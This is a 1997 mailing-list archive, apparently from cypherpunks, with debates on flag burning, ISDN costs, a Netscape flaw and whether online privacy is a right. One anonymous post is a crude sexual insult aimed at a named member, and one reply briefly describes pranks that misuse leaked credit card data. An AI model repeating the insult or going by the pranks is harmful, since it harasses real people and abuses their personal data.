PANEL #3 INTERNET COMMERCE, BANKING AND FINANCIAL PLANNING EXPERTS

2:30-3:15 pm

        Mark Greene, Vice President, Electronic Payments and
        Certification, IBM Internet Division

        Russ Housely, Chief Scientist, Spyrus, Inc.

        Charles Merrill, Partner, McCarter & English Law Firm

        Jahan Moreh, Chief Security Architect, Open Horizon, Inc.


PUBLIC COMMENT PERIOD - 3:15 pm

Members of public who have registered may
speak for 4 minutes. The panel may ask
questions following each individual's
testimony, if desired.


CLOSING REMARKS - 4:30 pm

For more information and directions, see:

    http://www.ssa.gov/forums/washingtondc.htm

More information on EPIC is available at

    http://www.epic.org/







From shamrock at netcom.com  Fri Jun 13 01:14:25 1997
From: shamrock at netcom.com (Lucky Green)
Date: Fri, 13 Jun 1997 16:14:25 +0800
Subject: [CNN] Stolen Laptops and lame 'solution'
In-Reply-To: 
Message-ID: <3.0.2.32.19970613005545.03c17688@netcom13.netcom.com>



At 01:39 AM 6/13/97 GMT, Brian Lane wrote:
>  I agree. That's why I like my solution to finding my stolen car
>better. A cellphone, GPS, and a little bit of glue electronics.

If the cellphone is turned on, it can be tracked. If it isn't, you can't
call it.

Nice try,

--Lucky Green  PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm






From nobody at REPLAY.COM  Fri Jun 13 03:10:50 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Fri, 13 Jun 1997 18:10:50 +0800
Subject: Quadratic residues
Message-ID: <199706131000.MAA10625@basement.replay.com>



Timmy C. Maya's wee-wee is so tiny that only his mommy is allowed to touch it.

    __o
  _ \<_  Timmy C. Maya
 (_)/(_)






From rah at shipwright.com  Fri Jun 13 05:34:21 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Fri, 13 Jun 1997 20:34:21 +0800
Subject: "Bozos Against Flag Burning"
In-Reply-To: <199706130521.BAA13934@ren.globecomm.net>
Message-ID: 



At 1:56 am -0400 on 6/13/97, Tim May wrote:


>  Did you vote for
> George McGovern in 1972 because he was a veteran (a bomber pilot, in fact)
> while Richard Nixon was a guy who finagled his way out of joining the
> military?

Uh, Nixon spent WWII in the navy(?) in the Pacific.

About the only finagling he did was win enough in poker to fund his
congressional campaign on returning home.

I am not a crook,
Bob Hettinga

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From tag at silvix.sirinet.net  Fri Jun 13 05:56:49 1997
From: tag at silvix.sirinet.net (Tim Tartaglia)
Date: Fri, 13 Jun 1997 20:56:49 +0800
Subject: Flag Burning...
In-Reply-To: <199706130521.BAA13934@ren.globecomm.net>
Message-ID: <199706131243.MAA26920@silvix.sirinet.net>



On 13 Jun 97 at 1:20, RS wrote:

> To allow someone to publicly burn a flag is essentially displaying our
> freedom being burned.

This may seem counter-intuitive, but allowing someone to publicly 
burn a flag is _demonstration_, not destruction,  of the freedom we 
celebrate.  In fact, supporting other's right to utter speech that we find 
distasteful is the purest form of "freedom and liberty."  

Tag






From randerso at ece.eng.wayne.edu  Fri Jun 13 06:42:44 1997
From: randerso at ece.eng.wayne.edu (Ryan Anderson)
Date: Fri, 13 Jun 1997 21:42:44 +0800
Subject: Flag Burning...
In-Reply-To: <199706130521.BAA13934@ren.globecomm.net>
Message-ID: 



On Fri, 13 Jun 1997, RS wrote:

> When it comes down to flag burning, It really bothers me that we allow our
> symbol of freedom to be burned.  It's more than a flag and a right.  It's a
> symbol of the freedom we have.  To allow someone to publicly burn a flag is
> essentially displaying our freedom being burned.

You're missing the point.  Burning the flag, the symbol of this nation, is
a protest that the government is doing something that you find absolutely
reprehensible.  (Or at least should be)  To prevent this burning of the
flag goes so strongly against what the First ammendment sought to do as to
completely ignore it.  

Sure, some people will burn the flag because they like to burn things, or
because they like to cause trouble, but isn't this hard to tell apart from
non-violent protest, one of the fundamental things in this country?

-----------------------------------------------------------------------
Ryan Anderson -      "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso at ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------






From m1tca00 at FRB.GOV  Fri Jun 13 07:00:43 1997
From: m1tca00 at FRB.GOV (Tom Allard)
Date: Fri, 13 Jun 1997 22:00:43 +0800
Subject: Flag Burning...
In-Reply-To: <199706130521.BAA13934@ren.globecomm.net>
Message-ID: <199706131316.JAA18236@bksmp2.FRB.GOV>




panther at writeme.com said:

> When it comes down to flag burning, It really bothers me that we allow our
> symbol of freedom to be burned.  It's more than a flag and a right.  It's
> a symbol of the freedom we have.  To allow someone to publicly burn a flag
> is essentially displaying our freedom being burned.

Some people believe that the freedom that the flag once symbolized is
already gone.  Burning the flag can be a representative way of saying "Our
Freedom has already been burned".

Of course, banning the burning of the flag only proves their point.

rgds-- TA  (tallard at frb.gov)
I don't speak for the Federal Reserve Board, it doesn't speak for me.







From trei at process.com  Fri Jun 13 07:06:57 1997
From: trei at process.com (Peter Trei)
Date: Fri, 13 Jun 1997 22:06:57 +0800
Subject: Flag Burning...
Message-ID: <199706131352.GAA06683@toad.com>



"RS" writes:

I'm curious as to why you feel the need to conceal your identity.

> When it comes down to flag burning, It really bothers me that we allow our
> symbol of freedom to be burned.  It's more than a flag and a right.  It's a
> symbol of the freedom we have.  To allow someone to publicly burn a flag is
> essentially displaying our freedom being burned.

It's a symbol, not the thing symbolized. You are confusing the map 
with the country. 

Burning the flag is a statement by the burner that they feel that the
symbol has become empty, and the freedom which the flag symbolizes is
gone or has been compromised in some manner. It's clearly a form of
political speech. True, It's a very strong statement, but strong 
political speech has been protected by the Constitution (at least up till 
now).
 
> Bush was a veteran, and Clinton was not.  I take it the ones who are
> writing on this subject about how we should have the "freedom" to burn the
> flag have never served in the military or for our country.   

You are mistaken - some of the people opposing your viewpoint have 
stated that they are veterans.

> Being a veteran myself, I find it very distateful to allow anyone on our
> soil to be allowed to "BURN" our symbol of freedom.  Think about the flag
> for a moment and what it really stands for.  Does it not stand for freedom
> and liberty?

It does *stand* for freedom and liberty, but only as long those 
values really exist. It *is* *not* freedom and libery in it's own
right.
 
When what the flag symbolizes is gone, it becomes just a piece of 
cloth. Burning this cloth draws attention to the loss. It is a dramatic
statement, but under certain circumstances an appropriate one.
 
> Sorry, I just had to let this out.  I stand behind Bush on this one.  Don't
> burn the flag unless you would like to live under another flag!

Thank you for your opinion. You are of course free to express it. And 
I, and other thoughtful, freedom-loving Americans can oppose it.

Think about this:

Would you rather people did not burn the flag because:

1. They'll be thrown in the slammer if they do.
2. The revere the values for which it stands, and will not descrate a
   meaningful symbol of these values.

In (2), we can look at the (very rare) individuals who *do* burn the
flag, and determine for ourselves if they have a valid point to 
convey.  

In (1), we'll never know.

For Congress to deny the freedom to burn the flag is a desecration of what
the flag stands for - a descration of the flag by the government itself.

Peter Trei
trei at process.com

Disclaimer: I represent only myself in this article.

  






From rotenberg at epic.org  Fri Jun 13 07:49:55 1997
From: rotenberg at epic.org (Marc Rotenberg)
Date: Fri, 13 Jun 1997 22:49:55 +0800
Subject: Netscape Security Flaw is a Feature
In-Reply-To: 
Message-ID: 




>Marc Rotenberg commented, "Privacy at the individual user level is
>unimportant, just so long as a Privacy Ombudsman can decide on the
>legitimate needs of law enforcement."

Tim's statement, attributed to me, is not true. And I assume there
is still some role for truth in the debate about privacy issues.
Or maybe Tim disagrees.

Marc Rotenberg.







From dshipman at ewol.com  Fri Jun 13 08:31:57 1997
From: dshipman at ewol.com (Dave Shipman)
Date: Fri, 13 Jun 1997 23:31:57 +0800
Subject: [Noise, California only] Good deal on ISDN access
Message-ID: <19970613150748390.AAA112@xxx>



At 05:55 AM 6/11/97 +0200, you wrote:
>Lucky Green sez:
>
>> Given that a good number of people on this list live in CA, this might be
>> of interest to you. It certainly was to me. PacBell is selling flat rate 2B
>> ISDN Internet access at $50/month. Plus the regular home ISDN fees, but
>> this is still much cheaper than what I paid before. You might want to think
>> hard before you buy at new 56k modem that in all likelihood won't be able
>> to give you 56k anyway. And no analog modem will ever give you 128kbps.
>
>But don't they still charge you a penny a minute?  That adds up fast, and
>would probably cost you more than your $50 internet access fees.  Plus the
>cost of ISDN service...  All told, you're looking at $150 or so per month.
>
>When for $150 you can get a brand spanking new 56K modem, and pay $20-30 a
>month.  Not as fast, but a much better price/performance ratio.
>
>
GTE in SRQ charges a flat (no installation charge or per minute on a 36
month contract) rate of $54.00 plus any long distance calls I make on the
SPID. My ISP charges $34.00 for a total of $88.00 and I am connected 125/175
hours a month. Early on, I found a definite need for a separate line
($19.00) to support my habit and when I installed ISDN that line was
removed. Net cost for a *true* observed 3X speed increase, FAX, and voice
com is $69.00 a month. A BitSURFER Pro TA cost $360.00 and replaced a 28.8
modem. As soon as my ISP gets around to it (and figures out what to charge),
the wires get twisted and the 3X increase should double.  

Those who buy a "56k" modem are in for a disappointment. No POPS in the US
supports more than 53k and many run at *much* less due to cross talk
problems. Also, your ISP will have to choose one of the two available
"standards" (X2 or 56Kflex) with no assurance that when the 56k dust settles
you will still have compatible equipment. 

Those who live in ATL or are PAC Bell customers should examine the
possibilities of ADSL which is supposed to roll out in both areas, sometime
in the last quarter. Bell South plans to offer ADSL the first quarter of
next year and DMT appears to be winning the "standards" battle with CAP for
ASDL protocol. I've not seen any cost information but presume that the
increased bandwidth will result in higher charges than ISDN. Unfortunately,
here in the swamps of southwest FL, ADSL will not be an option for several
years.


DLS
------------------------------------------------
That field hath eyen, and the wood hath ears.
         Geoffrey Chaucer. 1328-1400.

                          (From the text of Tyrwhitt.) Line 1524.

   






From declan at pathfinder.com  Fri Jun 13 08:34:16 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Fri, 13 Jun 1997 23:34:16 +0800
Subject: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <199706122248.RAA11848@einstein.ssz.com>
Message-ID: 



I suspect the scare about privacy has led to muddled thinking.

Free speech is a right that strictly limits the government's ability to
control what you say. We should have a similar right of privacy from the
government.

But I give up my free speech "rights" when I attend a college with a wacky
speech code or go to work at a company with workplace speech policies. My
choices in those situations are governed by my free speech preferences. 
Similarly, I give up my privacy "rights" when I go to unknown web sites,
apply for a loan, or post to Usenet, etc. These also are preferences. 

I'm surprised not to hear more from other folks here: my position is one
cypherpunks have advocated for years -- controlling what data flow from my
computer is my responsibility.

-Declan


On Thu, 12 Jun 1997, Jim Choate wrote:

> Hi,
> 
> Forwarded message:
> 
> > Date: Thu, 12 Jun 1997 18:58:37 -0400
> > From: Declan McCullagh 
> > Subject: There's no general right to privacy -- get over it, from Netly
> 
> > likes to say "Privacy is not an absolute right, but a
> > fundamental right." But in truth, privacy is not a
> > right but a preference: Some people want more of it
> > than others.
> 
> A right is not a question of popularity or amplitude, it is a question of
> existance. It is or it isn't. Some people want more guns than others
> (obvious even to you) so you seriously hold that there is no fundamental
> Constitutional right to own firearms? Or speech, we don't all want to use it
> to the same amount, we therefore don't have a right to free speech? Or (oh
> my god!) crypto, we don't all want to use it to the same degree therefore we
> don't have a right to use crypto?
> 
> Serious boo-boo.
> 
> I hope it ain't gone to print yet...
> 
>     ____________________________________________________________________
>    |                                                                    | 
>    |            _____                             The Armadillo Group   |
>    |         ,::////;::-.                           Austin, Tx. USA     |
>    |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
>    |      .',  ||||    `/( e\                                           |
>    |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
>    |                                                 ravage at ssz.com     |
>    |                                                  512-451-7087      |
>    |____________________________________________________________________|
> 
> 






From stewarts at ix.netcom.com  Fri Jun 13 08:37:02 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Fri, 13 Jun 1997 23:37:02 +0800
Subject: Netscape Security Flaw is a Feature
In-Reply-To: 
Message-ID: <3.0.1.32.19970612222531.0075a304@popd.ix.netcom.com>



At 09:33 PM 6/12/97 -0700, Tim May wrote:
>But how could such a massive, massive flaw have gone undiscovered for so
long?
 
"Our chief weapon is surprise."

>Meanwhile, Microsoft has acknowledge that all lines to its Redmond site are
>clogged by people dumping Navigator and trying to download Explorer.

Actually, it's all a Scandinavian Plot - the Danish hackers are
doing it on behalf of the Opera Browser folks from Norway,
whose graphical browser has the advantage of being only 1/10 as big as
Netscape or Internet Exploder.  Their primary objective is to
draw people away from Lynx...


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From azur at netcom.com  Fri Jun 13 08:38:20 1997
From: azur at netcom.com (Steve Schear)
Date: Fri, 13 Jun 1997 23:38:20 +0800
Subject: Thoughtcrime   (Re: My War)
In-Reply-To: 
Message-ID: 



At 10:12 PM -0700 6/11/97, Kent Crispin wrote:
>On Wed, Jun 11, 1997 at 07:18:52PM -0700, Steve Schear wrote:
>> Ideas are not protected speech, since they only exist in the mind, only
>> expressions are protected.
>
>Actually, expression is heavily encumbered with state mechanism, since
>it is expression that is "protected" by copyright.

Quite.

>Ideas are also
>encumbered by the state, through patent law.  The whole notion of
>expression and ideas as property is purely sustained by the state.

Yep.  I have the right, because I have the ability, to think anything I
wish. But as soon as I reduce that idea, for example a patent, to a
tangible form the state has deemed it their domain to regulate it, but only
so far as the property aspect is concerned.  But they shouldn't from a
freedom of expression standpoint.

>
>> As I stated earlier, all expressions (however
>> objectionable they may be to some or many members of society) deserve
>> protection, unless they immediately threaten (or server to incite others to
>> threaten) the physical well being of specific individuals or groups.  Porn
>> and instructions for making conventional or weapons of mass distruction
>> should not be regulated.
>
>It seems to me that your penultimate sentence contradicts your last
>sentence.
>
>--
>Kent Crispin				"No reason to get excited",
>kent at songbird.com			the thief he kindly spoke...
>PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
>http://songbird.com/kent/pgp_key.html



PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur at netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!







From declan at well.com  Fri Jun 13 08:42:30 1997
From: declan at well.com (Declan McCullagh)
Date: Fri, 13 Jun 1997 23:42:30 +0800
Subject: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: 
Message-ID: 



I suppose I am scum, at least by Ray's definition.

But let me ask this question: if someone *did* post my credit card/bank
records online through an anonymous remailer, what recourse would I have?
What recourse should I have?

-Declan


On Fri, 13 Jun 1997, Ray Arachelian wrote:

> On Thu, 12 Jun 1997, Declan McCullagh wrote:
> 
> > http://pathfinder.com/netly/editorial/0,1012,1050,00.html
> 
> [...]
> 
> >      I have a confession to make: Unlike many of my
> > civil libertarian colleagues, I believe you have no
> > general right to privacy online. Sure, you have the
> > right to protect your personal data, but you shouldn't
> > be able to stop someone else from passing along that
> > information if you let it leave your computer. That's
> > your responsibility.
> 
> 
> Booooooooo!  Hisssssssssss!  Putting your bread and butter before your
> morals, eh?  Maybe if someone would go through all your records and post
> them all over the net, you'd feel differently!
> 
> Declan, this truly sucks. :(  I'm very disappointed in you.  You are truly
> scum if you believe this.
> 
> 
> =====================================Kaos=Keraunos=Kybernetos==============
> ..+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
> ...\|/..|sunder at sundernet.com| be prepared to die.  And I hate cough  |/\|/\
> <--*-->| ------------------ | syrup, don't you?"                     |\/|\/
> .../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
> ..+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
> ======================== http://www.sundernet.com =========================
> 
> 
> 






From sunder at brainlink.com  Fri Jun 13 08:42:37 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Fri, 13 Jun 1997 23:42:37 +0800
Subject: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: 
Message-ID: 



On Thu, 12 Jun 1997, Declan McCullagh wrote:

> http://pathfinder.com/netly/editorial/0,1012,1050,00.html

[...]

>      I have a confession to make: Unlike many of my
> civil libertarian colleagues, I believe you have no
> general right to privacy online. Sure, you have the
> right to protect your personal data, but you shouldn't
> be able to stop someone else from passing along that
> information if you let it leave your computer. That's
> your responsibility.


Booooooooo!  Hisssssssssss!  Putting your bread and butter before your
morals, eh?  Maybe if someone would go through all your records and post
them all over the net, you'd feel differently!

Declan, this truly sucks. :(  I'm very disappointed in you.  You are truly
scum if you believe this.


=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder at sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From declan at well.com  Fri Jun 13 08:46:06 1997
From: declan at well.com (Declan McCullagh)
Date: Fri, 13 Jun 1997 23:46:06 +0800
Subject: The Cartoon Decency Act? from the Netly News
Message-ID: 





---------- Forwarded message ----------
Date: Fri, 13 Jun 1997 08:05:12 -0700 (PDT)
From: Declan McCullagh 
To: fight-censorship-announce at vorlon.mit.edu
Subject: The Cartoon Decency Act? from the Netly News


***********

http://cgi.pathfinder.com/netly/opinion/0,1042,1055,00.html

The Netly News Network
June 13, 1997

The Cartoon Decency Act?
by Declan McCullagh (declan at well.com)

        We all know what threats confront our children today: War.
   Hunger. Poverty. Ignorance. But animated cartoon characters on the
   Net?

        Actually, the Center for Media Education and its allies ignored
   the others and just zeroed in on the looming menace of Net-toons
   yesterday during the Federal Trade Commission's interminable privacy
   hearings. CME's Shelley Pasnik warned, "Animated product
   spokescharacters are coming into our childrens' computers... Parents
   are deeply troubled by the intrusive nature of the online [world]
   coming into our homes." Hadn't she read Kurt Anderson's editorial in
   The New Yorker this week, that the onslaught of 'toons signals a
   cultural renaissance in the U.S.? Doh!

        The Center for Media's alarums sound familiar. Supporters of the
   notorious Communications Decency Act cried that "pornography is coming
   into our home computers" and used the same excuse of "protecting
   children" to justify passing the law.

[...]








From declan at well.com  Fri Jun 13 08:46:27 1997
From: declan at well.com (Declan McCullagh)
Date: Fri, 13 Jun 1997 23:46:27 +0800
Subject: Responses to "there's no general right to privacy"
Message-ID: 




**************

Date: Thu, 12 Jun 1997 19:27:45 -0400
From: Barney Wolff 

> Date: Thu, 12 Jun 1997 18:58:25 -0400
> From: Declan McCullagh 
> 
> ... But in truth, privacy is not a
> right but a preference: Some people want more of it
> than others.

Free speech is not a right but a preference.  Some people want more of it
than others.

Because your job would be easier if there were less privacy, we
all should suffer?  Consider yourself flamed.

Barney Wolff  

**************

Date: Thu, 12 Jun 1997 22:43:59 -0400
From: Mike Godwin 
To: declan at well.com, fight-censorship-announce at vorlon.mit.edu

At 6:58 PM -0400 6/12/97, Declan McCullagh wrote:
>**************
>
>http://pathfinder.com/netly/editorial/0,1012,1050,00.html
>
>The Netly News
>June 12, 1997
>
>Privacy? What Privacy?
>by Declan McCullagh (declan at well.com)
>
>     I have a confession to make: Unlike many of my
>civil libertarian colleagues, I believe you have no
>general right to privacy online.

I endorse Declan's comments here, and most of what he says about privacy --
in particular that there is no general (read "universally applicable")
right to privacy.

There are, however, some particular rights to privacy in the United States
that are worth maintaining and protecting into the next century.

As against the government, these include (but are not limited to) one's
4th, 5th, and 6th Amendment rights that limit what the government can do to
violate your privacy.

As against other individuals and private entities, these include (but are
not limited to) the rights protected under the invasion-of-privacy torts,
and the restrictions on private companies' secondary use of transactional
data.

These carveouts from the general presumption articulated by Declan are
generally supported by the American public, and have been reasonably well
harmonized with First Amendment law. And they've stood the test of time.

Most privacy advocates I know, when they're talking about privacy, are
talking about these carveouts -- both as they exist now and as they will
need to evolve in the decades to come.

It should be noted that efforts like the EFF-originated ETrust program (now
called Trust-E thanks to a trademark dispute) are not based on "rights,"
but on the creation of incentives to inform the public about the use of
their personal information. As such, they sidestep the "right to privacy"
discussion altogether.

Which is probably just as well, given the quasi-theological taste such
legal discussions tend to have.


--Mike




----------------------------------------------------------------------------
'Indeed, the Government's asserted "failure" of the Internet rests on the
implicit premise that too much speech occurs in that medium, and that
speech there is too available to the participants.  This is exactly the
benefit of Internet communication, however.  The Government, therefore,
implicitly asks this court to limit both the amount of speech on the
Internet and the availability of that speech.  This argument is profoundly
repugnant to First Amendment principles.'
   --Judge Stewart Dalzell, ACLU v. Reno.

      Mike Godwin, EFF Staff Counsel, can be reached at mnemonic at eff.org
                   or at his office, 510-548-3290.
----------------------------------------------------------------------------










From jeffb at issl.atl.hp.com  Fri Jun 13 08:56:18 1997
From: jeffb at issl.atl.hp.com (Jeff Barber)
Date: Fri, 13 Jun 1997 23:56:18 +0800
Subject: There's no general right to privacy -- get over it, from Netly
In-Reply-To: 
Message-ID: <199706131550.LAA30964@jafar.issl.atl.hp.com>



Declan McCullagh writes:
> 
> I suspect the scare about privacy has led to muddled thinking.

I agreed with the point of your article, though you might have been
more careful when uttering the magic word "right".


> I'm surprised not to hear more from other folks here: my position is one
> cypherpunks have advocated for years -- controlling what data flow from my
> computer is my responsibility.

I completely agree with your position.  I assumed the lack of reaction
was simply because you're preaching to the choir here.


-- Jeff






From declan at well.com  Fri Jun 13 08:56:30 1997
From: declan at well.com (Declan McCullagh)
Date: Fri, 13 Jun 1997 23:56:30 +0800
Subject: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: 
Message-ID: 



Oh, and at least read the whole article.

-Declan
   
   Privacy? What Privacy?

   by Declan McCullagh   June 12, 1997
   
        I have a confession to make: Unlike many of my civil libertarian
   colleagues, I believe you have no general right to privacy online.
   Sure, you have the right to protect your personal data, but you
   shouldn't be able to stop someone else from passing along that
   information if you let it leave your computer. That's your
   responsibility.
   
        So you can imagine my dismay when I learned I'd be sitting
   through four full days of Federal Trade Commission hearings this week
   on Internet privacy. The commission's goal? To define "privacy rights"
   for the Net -- and to be perhaps the first federal agency to regulate
   it. The commissioners are being spurred on by consumer groups that
   want the government to bar firms from collecting information about
   your online wanderings. Businesses say that such a rule would stifle
   Internet advertising and commerce and have recently released a flurry
   of self-regulatory proposals.
   
        "At what point do we trigger some concern?" FTC Commissioner
   Christine Varney asked on Tuesday, the first day of the hearing. "Is
   there any circumstance under which access to the information that
   exists should be restricted?"
   
        Evan Hendricks from Privacy Times responded: "We see there's a
   huge problem developing with personal information over the Internet."
   EPIC's Marc Rotenberg added later: "We are selling information today
   that 10 years ago would not be bought and sold. The law has not kept
   up with these developments."
   
        Yet this misses the point. Protecting your personal privacy
   online is your responsibility. Turn off cookies. Don't give out your
   home address. Educate your children. Use the Anonymizer. Stay away
   from web sites you don't trust. You, not the federal government,
   should make these decisions.
   
        Which is one reason why I think there is no general right to
   privacy -- at least as the consumer groups and privacy advocates
   describe it. Rotenberg likes to say "Privacy is not an absolute right,
   but a fundamental right." But in truth, privacy is not a right but a
   preference: Some people want more of it than others.
   
        Of course there's an essential right to privacy from the
   government. (Beware government databases: Nazis used census data in
   Germany and Holland to track down and eliminate undesirables.) You
   also have a right to privacy from Peeping Toms.
   
        But -- no matter how much big-government fetishists want this to
   be true -- you don't own information about yourself. After all,
   journalists are able to investigate someone's private life and publish
   an article -- even if it contains embarrassing personal details. This
   is a good thing: Any restrictions would weaken the First Amendment.
   Then there's gossip, which is a time-honored way of trading in others'
   personal information. "The reindeer-herding Lapps, for whom theft of
   livestock is easy and common, gossip about who has stolen which animal
   and where they are," sociologist Sally Engle Merry writes.
   
        "Fencing off information behind a newly-created wall of 'privacy
   rights' has obvious free speech implications," says Solveig Bernstein,
   a lawyer at the Cato Institute. "The government has no business
   telling private firms whether they can share information about events
   and people."
   
        Fortunately, you have some options. Say you walk into Radio Shack
   and that teenager behind the counter wants your home address. You have
   three choices: Convince the guy he doesn't need it, ask the government
   to force him not to require it -- or leave.
   
        Yes, leave. The same with a virtual storefront on a web site. If
   you don't like what information it records about you, or you're unsure
   about its privacy policies, take your browser elsewhere. Vote with
   your mouse button.
   
        New technologies will make this easy. Yesterday at the FTC
   hearing the Electronic Frontier Foundation unveiled TRUSTe, which is a
   privacy rating system for web sites where three types of icons
   indicate what a web site does with your personal information. Firms
   display the appropriate icon and agree to spot checks and audits to
   ensure they comply.
   
        "We're trying to foster honesty, not regulation. We're trying to
   foster the ability of the consumer to make a choice," EFF chairman
   Esther Dyson said. "If companies find people don't want to do business
   with them because of free exchange, they'll offer that option."
   
        That's exactly right, and that's why TRUSTe is such a good idea.
   Unlike FTC regulations that end at national borders, TRUSTe's icons
   can appear on overseas sites and foster electronic commerce globally.
   
        Indeed, most Americans prefer nongovernmental solutions. A Lou
   Harris survey announced yesterday said 70 percent of the public
   believes the private sector, not the feds, should take the lead in
   protecting privacy online. "By 2 to 1 the responses say business is
   more likely to be trusted to do good in this area," says pollster
   Stanley Greenberg. "When asked about a privacy commission that would
   take a regulatory approach, two thirds were against such a measure."
   
        But somehow, I doubt the FTC will take the hint.   *
   







From tcmay at got.net  Fri Jun 13 09:00:44 1997
From: tcmay at got.net (Tim May)
Date: Sat, 14 Jun 1997 00:00:44 +0800
Subject: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <199706122248.RAA11848@einstein.ssz.com>
Message-ID: 



At 7:56 AM -0700 6/13/97, Declan McCullagh wrote:
>I suspect the scare about privacy has led to muddled thinking.
>
>Free speech is a right that strictly limits the government's ability to
>control what you say. We should have a similar right of privacy from the
>government.
>
>But I give up my free speech "rights" when I attend a college with a wacky
>speech code or go to work at a company with workplace speech policies. My
>choices in those situations are governed by my free speech preferences.
>Similarly, I give up my privacy "rights" when I go to unknown web sites,
>apply for a loan, or post to Usenet, etc. These also are preferences.
>
>I'm surprised not to hear more from other folks here: my position is one
>cypherpunks have advocated for years -- controlling what data flow from my
>computer is my responsibility.


I agree with everything Declan is saying. There is serious confusion out
there about "rights to privacy," everything from people passing laws
limiting how businesses may run their businesses to proposed laws limiting
the records people and companies may keep.

Sadly, too many people are simply ignorant of the underlying issues and
haven't given the issues much critical thought.

Hence the calls for "privacy laws," which actually violate more basic rights.

I predict a long battle with these "privacy advocates," especially the D.C.
lobbyist groups.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From sunder at brainlink.com  Fri Jun 13 09:00:49 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Sat, 14 Jun 1997 00:00:49 +0800
Subject: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: 
Message-ID: 



On Fri, 13 Jun 1997, Declan McCullagh wrote:

> I suppose I am scum, at least by Ray's definition.
> 
> But let me ask this question: if someone *did* post my credit card/bank
> records online through an anonymous remailer, what recourse would I have?
> What recourse should I have?
> 
> -Declan

My point exactly.  Why should anyone have access to my machine or my
records and be able to pass it on to others?  Sure the insurance companies
will squeal that they should have access to my DMV and health records, but
should they have the right to take that info and pass it on publically?

What recourse do you feel you should have?

What would YOU do if someone did post all your personal info online?
things like credit records, home address, phone number, DMV records,
health records and such?  What would you WANT to do?  And what control do
you currently have over this?

Mind you, with your credit card info, any one of the "ankle biters" of the
Bevis & Butthead mentality would be able to purchase a dozen toilets and
have them shipped to your home, and other such abuses.  Or report all your
credit cards stolen right before you decide to entertain someone to dinner
and find you can't pay for it... etc...  These are all well known pranks.

Do you see my point and why I'm vehemently opposed to yours?

Or do you believe that "Oh, I have nothing to hide, I'm a good person and
have nothing to fear from anyone?"

> 
> 
> On Fri, 13 Jun 1997, Ray Arachelian wrote:
> 
> > On Thu, 12 Jun 1997, Declan McCullagh wrote:
> > 
> > > http://pathfinder.com/netly/editorial/0,1012,1050,00.html
> > 
> > [...]
> > 
> > >      I have a confession to make: Unlike many of my
> > > civil libertarian colleagues, I believe you have no
> > > general right to privacy online. Sure, you have the
> > > right to protect your personal data, but you shouldn't
> > > be able to stop someone else from passing along that
> > > information if you let it leave your computer. That's
> > > your responsibility.
> > 
> > 
> > Booooooooo!  Hisssssssssss!  Putting your bread and butter before your
> > morals, eh?  Maybe if someone would go through all your records and post
> > them all over the net, you'd feel differently!
> > 
> > Declan, this truly sucks. :(  I'm very disappointed in you.  You are truly
> > scum if you believe this.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder at sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From sunder at brainlink.com  Fri Jun 13 09:04:28 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Sat, 14 Jun 1997 00:04:28 +0800
